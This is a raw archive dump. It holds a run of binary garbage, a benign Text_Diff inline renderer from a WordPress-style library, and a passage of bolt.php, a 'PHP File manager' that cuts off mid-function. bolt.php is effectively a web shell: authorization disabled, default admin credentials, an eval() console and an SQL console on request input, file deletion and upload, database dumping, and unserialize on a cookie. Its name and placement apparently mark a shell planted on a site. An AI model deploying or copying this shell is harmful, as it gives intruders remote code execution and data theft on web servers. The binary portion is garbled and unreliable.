	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
